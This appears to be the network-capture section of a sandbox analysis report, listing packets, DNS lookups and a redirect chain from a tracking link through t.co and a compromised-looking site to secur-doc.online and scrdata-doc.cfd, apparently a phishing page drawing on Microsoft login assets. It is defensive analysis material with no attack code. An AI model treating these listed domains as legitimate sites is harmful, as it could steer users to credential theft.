Apr 26, 2024 14:38:01.352040052 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.354516983 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.354557991 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.354571104 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.354576111 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.354607105 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.354640961 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.354654074 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.361037970 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.361080885 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.361125946 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.361125946 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.361133099 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.362915039 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.362963915 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.362987041 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.362994909 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.363019943 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.363051891 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.367227077 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.367269039 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.367314100 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.367314100 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.367321014 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.367358923 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.369842052 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.369903088 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.369915962 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.369927883 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.369959116 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.369973898 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.583879948 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.583929062 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.583967924 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.583977938 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.584028006 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.611479998 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.611562967 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.611601114 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.611608028 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.611654043 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.622562885 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.622634888 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.622648001 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.622654915 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.622684002 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.622690916 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.860188007 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.860260010 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.860295057 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.860316992 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.860344887 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.860369921 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.860627890 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.860675097 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.860692024 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.860699892 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.860727072 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.860737085 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.860807896 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.860852003 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.860866070 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.860903025 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.860934019 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.860934019 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.861012936 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.861062050 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.861078024 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.861087084 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.861113071 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.861124039 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.861164093 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.861219883 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:01.861227989 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.861335039 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:01.861388922 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:02.348540068 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:02.354141951 CEST	49787	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:02.354154110 CEST	443	49787	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:02.840126038 CEST	49801	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:38:02.840193033 CEST	443	49801	142.250.64.196	192.168.2.5
Apr 26, 2024 14:38:02.840317965 CEST	49801	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:38:02.842525959 CEST	49801	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:38:02.842557907 CEST	443	49801	142.250.64.196	192.168.2.5
Apr 26, 2024 14:38:03.238385916 CEST	443	49801	142.250.64.196	192.168.2.5
Apr 26, 2024 14:38:03.238729954 CEST	49801	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:38:03.238755941 CEST	443	49801	142.250.64.196	192.168.2.5
Apr 26, 2024 14:38:03.239228964 CEST	443	49801	142.250.64.196	192.168.2.5
Apr 26, 2024 14:38:03.240591049 CEST	49801	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:38:03.240684032 CEST	443	49801	142.250.64.196	192.168.2.5
Apr 26, 2024 14:38:03.350070000 CEST	49801	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:38:13.101377010 CEST	49727	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:13.101656914 CEST	443	49727	2.58.15.240	192.168.2.5
Apr 26, 2024 14:38:13.101746082 CEST	49727	443	192.168.2.5	2.58.15.240
Apr 26, 2024 14:38:13.237085104 CEST	443	49801	142.250.64.196	192.168.2.5
Apr 26, 2024 14:38:13.237154961 CEST	443	49801	142.250.64.196	192.168.2.5
Apr 26, 2024 14:38:13.237382889 CEST	49801	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:38:17.488614082 CEST	49801	443	192.168.2.5	142.250.64.196
Apr 26, 2024 14:38:17.488682985 CEST	443	49801	142.250.64.196	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 14:36:58.272111893 CEST	53	60200	1.1.1.1	192.168.2.5
Apr 26, 2024 14:36:58.342015028 CEST	53	57989	1.1.1.1	192.168.2.5
Apr 26, 2024 14:36:58.632994890 CEST	54863	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:36:58.633358002 CEST	58423	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:36:58.757579088 CEST	53	54863	1.1.1.1	192.168.2.5
Apr 26, 2024 14:36:58.758785009 CEST	53	58423	1.1.1.1	192.168.2.5
Apr 26, 2024 14:36:59.277828932 CEST	53	61302	1.1.1.1	192.168.2.5
Apr 26, 2024 14:36:59.333206892 CEST	64592	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:36:59.333604097 CEST	58070	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:36:59.459227085 CEST	53	58070	1.1.1.1	192.168.2.5
Apr 26, 2024 14:36:59.474422932 CEST	53	64592	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:01.949762106 CEST	61363	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:01.950053930 CEST	51894	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:02.083322048 CEST	53	61363	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:02.083370924 CEST	53	51894	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:02.869488955 CEST	54055	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:02.869955063 CEST	63447	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:03.250626087 CEST	53	63447	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:03.296662092 CEST	53	54055	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:11.290468931 CEST	59370	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:11.290638924 CEST	49371	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:11.485728979 CEST	53	49371	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:11.573533058 CEST	53	59370	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:14.415332079 CEST	51692	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:14.416055918 CEST	54033	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:14.548357964 CEST	53	51692	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:14.550139904 CEST	53	54033	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:21.621334076 CEST	53	61135	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:25.800970078 CEST	60809	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:25.801718950 CEST	56455	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:25.926086903 CEST	53	60809	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:25.927088022 CEST	53	56455	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:34.196135998 CEST	62516	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:34.196439028 CEST	49652	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:34.320878983 CEST	53	62516	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:34.322154999 CEST	53	49652	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:35.190370083 CEST	53	52721	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:35.362898111 CEST	57696	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:35.363122940 CEST	62812	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:36.099453926 CEST	54718	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:36.099780083 CEST	63784	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:37:36.231801033 CEST	53	54718	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:36.233527899 CEST	53	63784	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:42.765604973 CEST	53	58512	1.1.1.1	192.168.2.5
Apr 26, 2024 14:37:59.006937981 CEST	53	56535	1.1.1.1	192.168.2.5
Apr 26, 2024 14:38:00.693505049 CEST	52784	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:38:00.694616079 CEST	60349	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:38:00.698267937 CEST	57224	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:38:00.698630095 CEST	55192	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:38:00.699865103 CEST	62871	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:38:00.700517893 CEST	64945	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:38:04.061161041 CEST	58955	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:38:04.061440945 CEST	49265	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:38:04.202600002 CEST	58330	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:38:04.203612089 CEST	49208	53	192.168.2.5	1.1.1.1
Apr 26, 2024 14:38:04.231528997 CEST	53	57542	1.1.1.1	192.168.2.5
Apr 26, 2024 14:38:04.232721090 CEST	53	53948	1.1.1.1	192.168.2.5
Apr 26, 2024 14:38:04.396773100 CEST	53	54727	1.1.1.1	192.168.2.5
Apr 26, 2024 14:38:07.850933075 CEST	53	63908	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 26, 2024 14:36:58.632994890 CEST	192.168.2.5	1.1.1.1	0xba69	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:36:58.633358002 CEST	192.168.2.5	1.1.1.1	0xb683	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 26, 2024 14:36:59.333206892 CEST	192.168.2.5	1.1.1.1	0xf3f5	Standard query (0)	click.pstmrk.it	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:36:59.333604097 CEST	192.168.2.5	1.1.1.1	0x205	Standard query (0)	click.pstmrk.it	65	IN (0x0001)	false
Apr 26, 2024 14:37:01.949762106 CEST	192.168.2.5	1.1.1.1	0x2198	Standard query (0)	t.co	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:01.950053930 CEST	192.168.2.5	1.1.1.1	0x8d31	Standard query (0)	t.co	65	IN (0x0001)	false
Apr 26, 2024 14:37:02.869488955 CEST	192.168.2.5	1.1.1.1	0xbfd7	Standard query (0)	wordpressprofissional.com.br	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:02.869955063 CEST	192.168.2.5	1.1.1.1	0x822	Standard query (0)	wordpressprofissional.com.br	65	IN (0x0001)	false
Apr 26, 2024 14:37:11.290468931 CEST	192.168.2.5	1.1.1.1	0xe1ca	Standard query (0)	secur-doc.online	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:11.290638924 CEST	192.168.2.5	1.1.1.1	0xb29d	Standard query (0)	secur-doc.online	65	IN (0x0001)	false
Apr 26, 2024 14:37:14.415332079 CEST	192.168.2.5	1.1.1.1	0x4319	Standard query (0)	6knvejjuzh3.scrdata-doc.cfd	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:14.416055918 CEST	192.168.2.5	1.1.1.1	0x4525	Standard query (0)	6knvejjuzh3.scrdata-doc.cfd	65	IN (0x0001)	false
Apr 26, 2024 14:37:25.800970078 CEST	192.168.2.5	1.1.1.1	0x1f7f	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:25.801718950 CEST	192.168.2.5	1.1.1.1	0xda77	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Apr 26, 2024 14:37:34.196135998 CEST	192.168.2.5	1.1.1.1	0x89f	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:34.196439028 CEST	192.168.2.5	1.1.1.1	0xc772	Standard query (0)	outlook.office365.com	65	IN (0x0001)	false
Apr 26, 2024 14:37:35.362898111 CEST	192.168.2.5	1.1.1.1	0x7850	Standard query (0)	r4.res.office365.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:35.363122940 CEST	192.168.2.5	1.1.1.1	0x4583	Standard query (0)	r4.res.office365.com	65	IN (0x0001)	false
Apr 26, 2024 14:37:36.099453926 CEST	192.168.2.5	1.1.1.1	0x1d7c	Standard query (0)	6knvejjuzh3.scrdata-doc.cfd	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:36.099780083 CEST	192.168.2.5	1.1.1.1	0xf6f6	Standard query (0)	6knvejjuzh3.scrdata-doc.cfd	65	IN (0x0001)	false
Apr 26, 2024 14:38:00.693505049 CEST	192.168.2.5	1.1.1.1	0x671c	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:38:00.694616079 CEST	192.168.2.5	1.1.1.1	0xb26e	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Apr 26, 2024 14:38:00.698267937 CEST	192.168.2.5	1.1.1.1	0x62ea	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:38:00.698630095 CEST	192.168.2.5	1.1.1.1	0x9c1b	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false
Apr 26, 2024 14:38:00.699865103 CEST	192.168.2.5	1.1.1.1	0xb162	Standard query (0)	assets.onestore.ms	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:38:00.700517893 CEST	192.168.2.5	1.1.1.1	0x5787	Standard query (0)	assets.onestore.ms	65	IN (0x0001)	false
Apr 26, 2024 14:38:04.061161041 CEST	192.168.2.5	1.1.1.1	0x97bd	Standard query (0)	i.s-microsoft.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:38:04.061440945 CEST	192.168.2.5	1.1.1.1	0x25e9	Standard query (0)	i.s-microsoft.com	65	IN (0x0001)	false
Apr 26, 2024 14:38:04.202600002 CEST	192.168.2.5	1.1.1.1	0x8df6	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:38:04.203612089 CEST	192.168.2.5	1.1.1.1	0xa64e	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 26, 2024 14:36:58.757579088 CEST	1.1.1.1	192.168.2.5	0xba69	No error (0)	www.google.com		142.250.64.196	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:36:58.758785009 CEST	1.1.1.1	192.168.2.5	0xb683	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 26, 2024 14:36:59.474422932 CEST	1.1.1.1	192.168.2.5	0xf3f5	No error (0)	click.pstmrk.it		3.133.210.250	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:36:59.474422932 CEST	1.1.1.1	192.168.2.5	0xf3f5	No error (0)	click.pstmrk.it		3.22.3.46	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:36:59.474422932 CEST	1.1.1.1	192.168.2.5	0xf3f5	No error (0)	click.pstmrk.it		3.136.74.202	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:02.083322048 CEST	1.1.1.1	192.168.2.5	0x2198	No error (0)	t.co		104.244.42.133	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:03.296662092 CEST	1.1.1.1	192.168.2.5	0xbfd7	No error (0)	wordpressprofissional.com.br		31.170.163.25	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:11.573533058 CEST	1.1.1.1	192.168.2.5	0xe1ca	No error (0)	secur-doc.online		2.58.15.240	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:12.047005892 CEST	1.1.1.1	192.168.2.5	0x26e4	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:12.047005892 CEST	1.1.1.1	192.168.2.5	0x26e4	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:14.239296913 CEST	1.1.1.1	192.168.2.5	0x8987	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:37:14.239296913 CEST	1.1.1.1	192.168.2.5	0x8987	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:14.548357964 CEST	1.1.1.1	192.168.2.5	0x4319	No error (0)	6knvejjuzh3.scrdata-doc.cfd		2.58.15.240	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:25.926086903 CEST	1.1.1.1	192.168.2.5	0x1f7f	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:37:25.926086903 CEST	1.1.1.1	192.168.2.5	0x1f7f	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:25.926337004 CEST	1.1.1.1	192.168.2.5	0xe9a8	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:37:25.926337004 CEST	1.1.1.1	192.168.2.5	0xe9a8	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:25.926337004 CEST	1.1.1.1	192.168.2.5	0xe9a8	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:25.927088022 CEST	1.1.1.1	192.168.2.5	0xda77	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:37:29.274308920 CEST	1.1.1.1	192.168.2.5	0x65c6	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:37:29.274308920 CEST	1.1.1.1	192.168.2.5	0x65c6	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:34.320878983 CEST	1.1.1.1	192.168.2.5	0x89f	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:37:34.320878983 CEST	1.1.1.1	192.168.2.5	0x89f	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:37:34.320878983 CEST	1.1.1.1	192.168.2.5	0x89f	No error (0)	outlook.ms-acdc.office.com	LYH-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:37:34.320878983 CEST	1.1.1.1	192.168.2.5	0x89f	No error (0)	LYH-efz.ms-acdc.office.com		52.96.165.130	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:34.320878983 CEST	1.1.1.1	192.168.2.5	0x89f	No error (0)	LYH-efz.ms-acdc.office.com		52.96.122.82	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:34.320878983 CEST	1.1.1.1	192.168.2.5	0x89f	No error (0)	LYH-efz.ms-acdc.office.com		52.96.165.194	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:34.320878983 CEST	1.1.1.1	192.168.2.5	0x89f	No error (0)	LYH-efz.ms-acdc.office.com		52.96.40.114	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:34.322154999 CEST	1.1.1.1	192.168.2.5	0xc772	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:37:35.488892078 CEST	1.1.1.1	192.168.2.5	0x4583	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:37:35.489001036 CEST	1.1.1.1	192.168.2.5	0x7850	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:37:36.231801033 CEST	1.1.1.1	192.168.2.5	0x1d7c	No error (0)	6knvejjuzh3.scrdata-doc.cfd		2.58.15.240	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:37:59.800647020 CEST	1.1.1.1	192.168.2.5	0x500	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:37:59.800647020 CEST	1.1.1.1	192.168.2.5	0x500	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:38:00.817997932 CEST	1.1.1.1	192.168.2.5	0x671c	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:38:00.820607901 CEST	1.1.1.1	192.168.2.5	0xb26e	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:38:00.822664022 CEST	1.1.1.1	192.168.2.5	0x62ea	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:38:00.823674917 CEST	1.1.1.1	192.168.2.5	0x9c1b	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:38:00.825968981 CEST	1.1.1.1	192.168.2.5	0xb162	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:38:00.826159000 CEST	1.1.1.1	192.168.2.5	0x5787	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:38:04.186873913 CEST	1.1.1.1	192.168.2.5	0x25e9	No error (0)	i.s-microsoft.com	i.s-microsoft.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:38:04.187442064 CEST	1.1.1.1	192.168.2.5	0x97bd	No error (0)	i.s-microsoft.com	i.s-microsoft.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:38:04.327491999 CEST	1.1.1.1	192.168.2.5	0x8df6	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:38:04.328958035 CEST	1.1.1.1	192.168.2.5	0xa64e	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 14:38:16.992604017 CEST	1.1.1.1	192.168.2.5	0xac5e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 26, 2024 14:38:16.992604017 CEST	1.1.1.1	192.168.2.5	0xac5e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

click.pstmrk.it

t.co

https:

wordpressprofissional.com.br

secur-doc.online

6knvejjuzh3.scrdata-doc.cfd

www.bing.com

outlook.office365.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	142.250.64.196	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:36:59 UTC	623	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
